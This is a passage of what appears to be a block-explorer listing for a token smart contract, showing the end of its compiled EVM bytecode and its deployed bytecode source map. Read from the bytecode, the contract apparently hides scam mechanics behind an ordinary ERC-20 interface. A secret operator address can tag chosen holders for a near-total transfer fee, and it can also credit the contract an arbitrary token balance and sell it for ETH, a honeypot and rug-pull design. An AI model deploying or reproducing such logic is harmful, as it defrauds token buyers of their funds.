fffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610718610b4e565b73ffffffffffffffffffffffffffffffffffffffff161461076e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076590611867565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff1661084b610b4e565b73ffffffffffffffffffffffffffffffffffffffff16146108a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089890611867565b60405180910390fd5b600554600981905550565b6108b4610e12565b15610b4a576108e630600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e6a565b81600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff81111561094757610946611887565b5b6040519080825280602002602001820160405280156109755781602001602082028036833780820191505090505b509050308160008151811061098d5761098c611744565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a34573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a5891906118cb565b81600181518110610a6c57610a6b611744565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486426020610af69190611710565b6040518663ffffffff1660e01b8152600401610b169594939291906119fb565b600060405180830381600087803b158015610b3057600080fd5b505af1158015610b44573d6000803e3d6000fd5b50505050505b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054610b86906117ea565b80601f0160208091040260200160405190810160405280929190818152602001828054610bb2906117ea565b8015610bff5780601f10610bd457610100808354040283529160200191610bff565b820191906000526020600020905b815481529060010190602001808311610be257829003601f168201915b5050505050905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610cba57600080fd5b610d53610cc5610d7b565b8484600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d4e9190611a55565b610e6a565b6001905092915050565b6000610d71610d6a610d7b565b8484610fc7565b6001905092915050565b600033905090565b6000600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600043905090565b60003373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ea357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610edc57600080fd5b80600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fba919061159c565b60405180910390a3505050565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111561101357600080fd5b600080600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141580156110aa5750611067610e0a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b6110b6576006546110e0565b6110df6103e86110d16103e78561123d90919063ffffffff16565b6112b790919063ffffffff16565b5b905081600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111319190611a55565b9250508190555080826111449190611a55565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111929190611710565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036111d257600080fd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161122f919061159c565b60405180910390a350505050565b600080830361124f57600090506112b1565b6000828461125d9190611a89565b905082848261126c9190611afa565b146112ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a390611b9d565b60405180910390fd5b809150505b92915050565b60008082116112fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f290611c09565b60405180910390fd5b600082846113099190611afa565b90508091505092915050565b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b60008083601f8401126113445761134361131f565b5b8235905067ffffffffffffffff81111561136157611360611324565b5b60208301915083602082028301111561137d5761137c611329565b5b9250929050565b6000806020838503121561139b5761139a611315565b5b600083013567ffffffffffffffff8111156113b9576113b861131a565b5b6113c58582860161132e565b92509250509250929050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561140b5780820151818401526020810190506113f0565b60008484015250505050565b6000601f19601f8301169050919050565b6000611433826113d1565b61143d81856113dc565b935061144d8185602086016113ed565b61145681611417565b840191505092915050565b6000602082019050818103600083015261147b8184611428565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006114ae82611483565b9050919050565b6114be816114a3565b81146114c957600080fd5b50565b6000813590506114db816114b5565b92915050565b6000819050919050565b6114f4816114e1565b81146114ff57600080fd5b50565b600081359050611511816114eb565b92915050565b6000806040838503121561152e5761152d611315565b5b600061153c858286016114cc565b925050602061154d85828601611502565b9150509250929050565b60008115159050919050565b61156c81611557565b82525050565b60006020820190506115876000830184611563565b92915050565b611596816114e1565b82525050565b60006020820190506115b1600083018461158d565b92915050565b6000806000606084860312156115d0576115cf611315565b5b60006115de868287016114cc565b93505060206115ef868287016114cc565b925050604061160086828701611502565b9150509250925092565b6000602082840312156116205761161f611315565b5b600061162e848285016114cc565b91505092915050565b6000806040838503121561164e5761164d611315565b5b600061165c85828601611502565b925050602061166d858286016114cc565b9150509250929050565b611680816114a3565b82525050565b600060208201905061169b6000830184611677565b92915050565b600080604083850312156116b8576116b7611315565b5b60006116c6858286016114cc565b92505060206116d7858286016114cc565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061171b826114e1565b9150611726836114e1565b925082820190508082111561173e5761173d6116e1565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061177e826114e1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036117b0576117af6116e1565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061180257607f821691505b602082108103611815576118146117bb565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006118516020836113dc565b915061185c8261181b565b602082019050919050565b6000602082019050818103600083015261188081611844565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000815190506118c5816114b5565b92915050565b6000602082840312156118e1576118e0611315565b5b60006118ef848285016118b6565b91505092915050565b6000819050919050565b6000819050919050565b600061192761192261191d846118f8565b611902565b6114e1565b9050919050565b6119378161190c565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611972816114a3565b82525050565b60006119848383611969565b60208301905092915050565b6000602082019050919050565b60006119a88261193d565b6119b28185611948565b93506119bd83611959565b8060005b838110156119ee5781516119d58882611978565b97506119e083611990565b9250506001810190506119c1565b5085935050505092915050565b600060a082019050611a10600083018861158d565b611a1d602083018761192e565b8181036040830152611a2f818661199d565b9050611a3e6060830185611677565b611a4b608083018461158d565b9695505050505050565b6000611a60826114e1565b9150611a6b836114e1565b9250828203905081811115611a8357611a826116e1565b5b92915050565b6000611a94826114e1565b9150611a9f836114e1565b9250828202611aad816114e1565b91508282048414831517611ac457611ac36116e1565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611b05826114e1565b9150611b10836114e1565b925082611b2057611b1f611acb565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c60008201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b6000611b876022836113dc565b9150611b9282611b2b565b604082019050919050565b60006020820190508181036000830152611bb681611b7a565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f0000000000600082015250565b6000611bf3601b836113dc565b9150611bfe82611bbd565b602082019050919050565b60006020820190508181036000830152611c2281611be6565b905091905056fea26469706673582212205c033acdb43bb9446c66c53015a00c86f81546c301bc838a2ff1f0ced4609c1564736f6c63430008130033
Deployed Bytecode Sourcemap
2034:4516:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4930:280;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3951:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2113:158;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5217:81;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4131:222;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3175:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2277:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2312:205;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2627:62;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4028:96;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1238:148;;;:::i;:::-;;3485:87;;;:::i;:::-;;5304:543;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1650:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3345:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2523:31;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5853:246;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6151:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1039:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4790:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4930:280;5005:18;5030:14;:12;:14::i;:::-;5026:1;:18;;;;:::i;:::-;5005:39;;5060:9;5055:148;5083:12;;:19;;5076:4;:26;5055:148;;;5133:11;:9;:11::i;:::-;5129:63;;;5179:10;5147:9;:29;5157:12;;5170:4;5157:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;5147:29;;;;;;;;;;;;;;;:42;;;;5129:63;5105:6;;;;;:::i;:::-;;;;5055:148;;;;4993:217;4930:280;;:::o;3951:71::-;3990:13;4014:5;4007:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3951:71;:::o;2113:158::-;2187:4;2204:37;2213:10;2225:7;2234:6;2204:8;:37::i;:::-;2259:4;2252:11;;2113:158;;;;:::o;5217:81::-;5263:7;5282:12;;5275:19;;5217:81;:::o;4131:222::-;4214:4;4231:30;4241:5;4248:3;4253:7;4231:9;:30::i;:::-;4315:7;4280:11;:18;4292:5;4280:18;;;;;;;;;;;;;;;:31;4299:11;:9;:11::i;:::-;4280:31;;;;;;;;;;;;;;;;:42;;4272:51;;;;;;4341:4;4334:11;;4131:222;;;;;:::o;3175:87::-;3218:7;3245:9;;3238:16;;3175:87;:::o;2277:28::-;;;;:::o;2312:205::-;2392:4;2409:78;2418:11;:9;:11::i;:::-;2431:7;2476:10;2440:11;:24;2452:11;:9;:11::i;:::-;2440:24;;;;;;;;;;;;;;;:33;2465:7;2440:33;;;;;;;;;;;;;;;;:46;;;;:::i;:::-;2409:8;:78::i;:::-;2505:4;2498:11;;2312:205;;;;:::o;2627:62::-;;;;:::o;4028:96::-;4085:7;4103:9;:18;4113:7;4103:18;;;;;;;;;;;;;;;;4096:25;;4028:96;;;:::o;1238:148::-;1471:10;1460:21;;:7;:5;:7::i;:::-;:21;;;1452:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;1345:1:::1;1308:40;;1329:6;::::0;::::1;;;;;;;;1308:40;;;;;;;;;;;;1376:1;1359:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1238:148::o:0;3485:87::-;1471:10;1460:21;;:7;:5;:7::i;:::-;:21;;;1452:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;3552:12:::1;;3540:9;:24;;;;3485:87::o:0;5304:543::-;5404:11;:9;:11::i;:::-;5400:440;;;5419:65;5436:4;5451:13;;;;;;;;;;;5468:15;5419:8;:65::i;:::-;5523:15;5496:9;:24;5514:4;5496:24;;;;;;;;;;;;;;;:42;;;;5549:26;5592:1;5578:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5549:45;;5630:4;5607:9;5617:1;5607:12;;;;;;;;:::i;:::-;;;;;;;:28;;;;;;;;;;;5664:13;;;;;;;;;;;:18;;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5649:9;5659:1;5649:12;;;;;;;;:::i;:::-;;;;;;;:35;;;;;;;;;;;5697:13;;;;;;;;;;;:64;;;5762:15;5779:1;5782:9;5793:12;5812:15;5807:2;:20;;;;:::i;:::-;5697:131;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5417:423;5400:440;5304:543;;:::o;1650:71::-;1696:7;1713:6;;;;;;;;;;;1706:13;;1650:71;:::o;3345:87::-;3384:13;3417:7;3410:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3345:87;:::o;2523:31::-;;;;;;;;;;;;;:::o;5853:246::-;5926:4;5984:6;5951:11;:23;5963:10;5951:23;;;;;;;;;;;;;;;:29;5975:4;5951:29;;;;;;;;;;;;;;;;:39;;5943:48;;;;;;6002:67;6011:11;:9;:11::i;:::-;6024:4;6062:6;6030:11;:23;6042:10;6030:23;;;;;;;;;;;;;;;:29;6054:4;6030:29;;;;;;;;;;;;;;;;:38;;;;:::i;:::-;6002:8;:67::i;:::-;6087:4;6080:11;;5853:246;;;;:::o;6151:134::-;6220:4;6228:41;6238:11;:9;:11::i;:::-;6251:9;6262:6;6228:9;:41::i;:::-;6278:4;6271:11;;6151:134;;;;:::o;1039:71::-;1081:7;1098:10;1091:17;;1039:71;:::o;4790:134::-;4862:7;4889:11;:18;4901:5;4889:18;;;;;;;;;;;;;;;:27;4908:7;4889:27;;;;;;;;;;;;;;;;4882:34;;4790:134;;;;:::o;3686:93::-;3732:7;3759:12;3752:19;;3686:93;:::o;3839:106::-;3883:4;3927:10;3907:30;;:16;;;;;;;;;;;:30;;;3900:37;;3839:106;:::o;4446:258::-;4559:1;4540:21;;:7;:21;;;4532:30;;;;;;4598:1;4581:19;;:5;:19;;;4573:28;;;;;;4642:6;4612:11;:18;4624:5;4612:18;;;;;;;;;;;;;;;:27;4631:7;4612:27;;;;;;;;;;;;;;;:36;;;;4680:7;4664:32;;4673:5;4664:32;;;4689:6;4664:32;;;;;;:::i;:::-;;;;;;;;4446:258;;;:::o;2696:446::-;2799:9;:16;2809:5;2799:16;;;;;;;;;;;;;;;;2788:7;:27;;2780:36;;;;;;2828:17;2871:1;2851:9;:16;2861:5;2851:16;;;;;;;;;;;;;;;;:21;;2850:63;;;;;2898:14;:12;:14::i;:::-;2878:9;:16;2888:5;2878:16;;;;;;;;;;;;;;;;:34;;2850:63;2848:109;;2949:8;;2848:109;;;2918:26;2939:4;2918:16;2930:3;2918:7;:11;;:16;;;;:::i;:::-;:20;;:26;;;;:::i;:::-;2848:109;2828:129;;2989:7;2968:9;:16;2978:5;2968:16;;;;;;;;;;;;;;;;:29;;;;;;;:::i;:::-;;;;;;;;3039:9;3028:7;:21;;;;:::i;:::-;3009:9;:14;3019:3;3009:14;;;;;;;;;;;;;;;;:41;;;;;;;:::i;:::-;;;;;;;;3086:1;3069:19;;:5;:19;;;3061:28;;;;;;3121:3;3105:29;;3114:5;3105:29;;;3126:7;3105:29;;;;;;:::i;:::-;;;;;;;;2769:373;2696:446;;;:::o;407:223::-;465:7;494:1;489;:6;485:23;;505:1;498:8;;;;485:23;518:9;534:1;530;:5;;;;:::i;:::-;518:17;;563:1;558;554;:5;;;;:::i;:::-;:10;546:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;621:1;614:8;;;407:223;;;;;:::o;638:178::-;696:7;728:1;724;:5;716:45;;;;;;;;;;;;:::i;:::-;;;;;;;;;772:9;788:1;784;:5;;;;:::i;:::-;772:17;;807:1;800:8;;;638:178;;;;:::o;88:117:1:-;197:1;194;187:12;211:117;320:1;317;310:12;334:117;443:1;440;433:12;457:117;566:1;563;556:12;580:117;689:1;686;679:12;720:568;793:8;803:6;853:3;846:4;838:6;834:17;830:27;820:122;;861:79;;:::i;:::-;820:122;974:6;961:20;951:30;;1004:18;996:6;993:30;990:117;;;1026:79;;:::i;:::-;990:117;1140:4;1132:6;1128:17;1116:29;;1194:3;1186:4;1178:6;1174:17;1164:8;1160:32;1157:41;1154:128;;;1201:79;;:::i;:::-;1154:128;720:568;;;;;:::o;1294:559::-;1380:6;1388;1437:2;1425:9;1416:7;1412:23;1408:32;1405:119;;;1443:79;;:::i;:::-;1405:119;1591:1;1580:9;1576:17;1563:31;1621:18;1613:6;1610:30;1607:117;;;1643:79;;:::i;:::-;1607:117;1756:80;1828:7;1819:6;1808:9;1804:22;1756:80;:::i;:::-;1738:98;;;;1534:312;1294:559;;;;;:::o;1859:99::-;1911:6;1945:5;1939:12;1929:22;;1859:99;;;:::o;1964:169::-;2048:11;2082:6;2077:3;2070:19;2122:4;2117:3;2113:14;2098:29;;1964:169;;;;:::o;2139:246::-;2220:1;2230:113;2244:6;2241:1;2238:13;2230:113;;;2329:1;2324:3;2320:11;2314:18;2310:1;2305:3;2301:11;2294:39;2266:2;2263:1;2259:10;2254:15;;2230:113;;;2377:1;2368:6;2363:3;2359:16;2352:27;2201:184;2139:246;;;:::o;2391:102::-;2432:6;2483:2;2479:7;2474:2;2467:5;2463:14;2459:28;2449:38;;2391:102;;;:::o;2499:377::-;2587:3;2615:39;2648:5;2615:39;:::i;:::-;2670:71;2734:6;2729:3;2670:71;:::i;:::-;2663:78;;2750:65;2808:6;2803:3;2796:4;2789:5;2785:16;2750:65;:::i;:::-;2840:29;2862:6;2840:29;:::i;:::-;2835:3;2831:39;2824:46;;2591:285;2499:377;;;;:::o;2882:313::-;2995:4;3033:2;3022:9;3018:18;3010:26;;3082:9;3076:4;3072:20;3068:1;3057:9;3053:17;3046:47;3110:78;3183:4;3174:6;3110:78;:::i;:::-;3102:86;;2882:313;;;;:::o;3201:126::-;3238:7;3278:42;3271:5;3267:54;3256:65;;3201:126;;;:::o;3333:96::-;3370:7;3399:24;3417:5;3399:24;:::i;:::-;3388:35;;3333:96;;;:::o;3435:122::-;3508:24;3526:5;3508:24;:::i;:::-;3501:5;3498:35;3488:63;;3547:1;3544;3537:12;3488:63;3435:122;:::o;3563:139::-;3609:5;3647:6;3634:20;3625:29;;3663:33;3690:5;3663:33;:::i;:::-;3563:139;;;;:::o;3708:77::-;3745:7;3774:5;3763:16;;3708:77;;;:::o;3791:122::-;3864:24;3882:5;3864:24;:::i;:::-;3857:5;3854:35;3844:63;;3903:1;3900;3893:12;3844:63;3791:122;:::o;3919:139::-;3965:5;4003:6;3990:20;3981:29;;4019:33;4046:5;4019:33;:::i;:::-;3919:139;;;;:::o;4064:474::-;4132:6;4140;4189:2;4177:9;4168:7;4164:23;4160:32;4157:119;;;4195:79;;:::i;:::-;4157:119;4315:1;4340:53;4385:7;4376:6;4365:9;4361:22;4340:53;:::i;:::-;4330:63;;4286:117;4442:2;4468:53;4513:7;4504:6;4493:9;4489:22;4468:53;:::i;:::-;4458:63;;4413:118;4064:474;;;;;:::o;4544:90::-;4578:7;4621:5;4614:13;4607:21;4596:32;;4544:90;;;:::o;4640:109::-;4721:21;4736:5;4721:21;:::i;:::-;4716:3;4709:34;4640:109;;:::o;4755:210::-;4842:4;4880:2;4869:9;4865:18;4857:26;;4893:65;4955:1;4944:9;4940:17;4931:6;4893:65;:::i;:::-;4755:210;;;;:::o;4971:118::-;5058:24;5076:5;5058:24;:::i;:::-;5053:3;5046:37;4971:118;;:::o;5095:222::-;5188:4;5226:2;5215:9;5211:18;5203:26;;5239:71;5307:1;5296:9;5292:17;5283:6;5239:71;:::i;:::-;5095:222;;;;:::o;5323:619::-;5400:6;5408;5416;5465:2;5453:9;5444:7;5440:23;5436:32;5433:119;;;5471:79;;:::i;:::-;5433:119;5591:1;5616:53;5661:7;5652:6;5641:9;5637:22;5616:53;:::i;:::-;5606:63;;5562:117;5718:2;5744:53;5789:7;5780:6;5769:9;5765:22;5744:53;:::i;:::-;5734:63;;5689:118;5846:2;5872:53;5917:7;5908:6;5897:9;5893:22;5872:53;:::i;:::-;5862:63;;5817:118;5323:619;;;;;:::o;5948:329::-;6007:6;6056:2;6044:9;6035:7;6031:23;6027:32;6024:119;;;6062:79;;:::i;:::-;6024:119;6182:1;6207:53;6252:7;6243:6;6232:9;6228:22;6207:53;:::i;:::-;6197:63;;6153:117;5948:329;;;;:::o;6283:474::-;6351:6;6359;6408:2;6396:9;6387:7;6383:23;6379:32;6376:119;;;6414:79;;:::i;:::-;6376:119;6534:1;6559:53;6604:7;6595:6;6584:9;6580:22;6559:53;:::i;:::-;6549:63;;6505:117;6661:2;6687:53;6732:7;6723:6;6712:9;6708:22;6687:53;:::i;:::-;6677:63;;6632:118;6283:474;;;;;:::o;6763:118::-;6850:24;6868:5;6850:24;:::i;:::-;6845:3;6838:37;6763:118;;:::o;6887:222::-;6980:4;7018:2;7007:9;7003:18;6995:26;;7031:71;7099:1;7088:9;7084:17;7075:6;7031:71;:::i;:::-;6887:222;;;;:::o;7115:474::-;7183:6;7191;7240:2;7228:9;7219:7;7215:23;7211:32;7208:119;;;7246:79;;:::i;:::-;7208:119;7366:1;7391:53;7436:7;7427:6;7416:9;7412:22;7391:53;:::i;:::-;7381:63;;7337:117;7493:2;7519:53;7564:7;7555:6;7544:9;7540:22;7519:53;:::i;:::-;7509:63;;7464:118;7115:474;;;;;:::o;7595:180::-;7643:77;7640:1;7633:88;7740:4;7737:1;7730:15;7764:4;7761:1;7754:15;7781:191;7821:3;7840:20;7858:1;7840:20;:::i;:::-;7835:25;;7874:20;7892:1;7874:20;:::i;:::-;7869:25;;7917:1;7914;7910:9;7903:16;;7938:3;7935:1;7932:10;7929:36;;;7945:18;;:::i;:::-;7929:36;7781:191;;;;:::o;7978:180::-;8026:77;8023:1;8016:88;8123:4;8120:1;8113:15;8147:4;8144:1;8137:15;8164:233;8203:3;8226:24;8244:5;8226:24;:::i;:::-;8217:33;;8272:66;8265:5;8262:77;8259:103;;8342:18;;:::i;:::-;8259:103;8389:1;8382:5;8378:13;8371:20;;8164:233;;;:::o;8403:180::-;8451:77;8448:1;8441:88;8548:4;8545:1;8538:15;8572:4;8569:1;8562:15;8589:320;8633:6;8670:1;8664:4;8660:12;8650:22;;8717:1;8711:4;8707:12;8738:18;8728:81;;8794:4;8786:6;8782:17;8772:27;;8728:81;8856:2;8848:6;8845:14;8825:18;8822:38;8819:84;;8875:18;;:::i;:::-;8819:84;8640:269;8589:320;;;:::o;8915:182::-;9055:34;9051:1;9043:6;9039:14;9032:58;8915:182;:::o;9103:366::-;9245:3;9266:67;9330:2;9325:3;9266:67;:::i;:::-;9259:74;;9342:93;9431:3;9342:93;:::i;:::-;9460:2;9455:3;9451:12;9444:19;;9103:366;;;:::o;9475:419::-;9641:4;9679:2;9668:9;9664:18;9656:26;;9728:9;9722:4;9718:20;9714:1;9703:9;9699:17;9692:47;9756:131;9882:4;9756:131;:::i;:::-;9748:139;;9475:419;;;:::o;9900:180::-;9948:77;9945:1;9938:88;10045:4;10042:1;10035:15;10069:4;10066:1;10059:15;10086:143;10143:5;10174:6;10168:13;10159:22;;10190:33;10217:5;10190:33;:::i;:::-;10086:143;;;;:::o;10235:351::-;10305:6;10354:2;10342:9;10333:7;10329:23;10325:32;10322:119;;;10360:79;;:::i;:::-;10322:119;10480:1;10505:64;10561:7;10552:6;10541:9;10537:22;10505:64;:::i;:::-;10495:74;;10451:128;10235:351;;;;:::o;10592:85::-;10637:7;10666:5;10655:16;;10592:85;;;:::o;10683:60::-;10711:3;10732:5;10725:12;;10683:60;;;:::o;10749:158::-;10807:9;10840:61;10858:42;10867:32;10893:5;10867:32;:::i;:::-;10858:42;:::i;:::-;10840:61;:::i;:::-;10827:74;;10749:158;;;:::o;10913:147::-;11008:45;11047:5;11008:45;:::i;:::-;11003:3;10996:58;10913:147;;:::o;11066:114::-;11133:6;11167:5;11161:12;11151:22;;11066:114;;;:::o;11186:184::-;11285:11;11319:6;11314:3;11307:19;11359:4;11354:3;11350:14;11335:29;;11186:184;;;;:::o;11376:132::-;11443:4;11466:3;11458:11;;11496:4;11491:3;11487:14;11479:22;;11376:132;;;:::o;11514:108::-;11591:24;11609:5;11591:24;:::i;:::-;11586:3;11579:37;11514:108;;:::o;11628:179::-;11697:10;11718:46;11760:3;11752:6;11718:46;:::i;:::-;11796:4;11791:3;11787:14;11773:28;;11628:179;;;;:::o;11813:113::-;11883:4;11915;11910:3;11906:14;11898:22;;11813:113;;;:::o;11962:732::-;12081:3;12110:54;12158:5;12110:54;:::i;:::-;12180:86;12259:6;12254:3;12180:86;:::i;:::-;12173:93;;12290:56;12340:5;12290:56;:::i;:::-;12369:7;12400:1;12385:284;12410:6;12407:1;12404:13;12385:284;;;12486:6;12480:13;12513:63;12572:3;12557:13;12513:63;:::i;:::-;12506:70;;12599:60;12652:6;12599:60;:::i;:::-;12589:70;;12445:224;12432:1;12429;12425:9;12420:14;;12385:284;;;12389:14;12685:3;12678:10;;12086:608;;;11962:732;;;;:::o;12700:831::-;12963:4;13001:3;12990:9;12986:19;12978:27;;13015:71;13083:1;13072:9;13068:17;13059:6;13015:71;:::i;:::-;13096:80;13172:2;13161:9;13157:18;13148:6;13096:80;:::i;:::-;13223:9;13217:4;13213:20;13208:2;13197:9;13193:18;13186:48;13251:108;13354:4;13345:6;13251:108;:::i;:::-;13243:116;;13369:72;13437:2;13426:9;13422:18;13413:6;13369:72;:::i;:::-;13451:73;13519:3;13508:9;13504:19;13495:6;13451:73;:::i;:::-;12700:831;;;;;;;;:::o;13537:194::-;13577:4;13597:20;13615:1;13597:20;:::i;:::-;13592:25;;13631:20;13649:1;13631:20;:::i;:::-;13626:25;;13675:1;13672;13668:9;13660:17;;13699:1;13693:4;13690:11;13687:37;;;13704:18;;:::i;:::-;13687:37;13537:194;;;;:::o;13737:410::-;13777:7;13800:20;13818:1;13800:20;:::i;:::-;13795:25;;13834:20;13852:1;13834:20;:::i;:::-;13829:25;;13889:1;13886;13882:9;13911:30;13929:11;13911:30;:::i;:::-;13900:41;;14090:1;14081:7;14077:15;14074:1;14071:22;14051:1;14044:9;14024:83;14001:139;;14120:18;;:::i;:::-;14001:139;13785:362;13737:410;;;;:::o;14153:180::-;14201:77;14198:1;14191:88;14298:4;14295:1;14288:15;14322:4;14319:1;14312:15;14339:185;14379:1;14396:20;14414:1;14396:20;:::i;:::-;14391:25;;14430:20;14448:1;14430:20;:::i;:::-;14425:25;;14469:1;14459:35;;14474:18;;:::i;:::-;14459:35;14516:1;14513;14509:9;14504:14;;14339:185;;;;:::o;14530:221::-;14670:34;14666:1;14658:6;14654:14;14647:58;14739:4;14734:2;14726:6;14722:15;14715:29;14530:221;:::o;14757:366::-;14899:3;14920:67;14984:2;14979:3;14920:67;:::i;:::-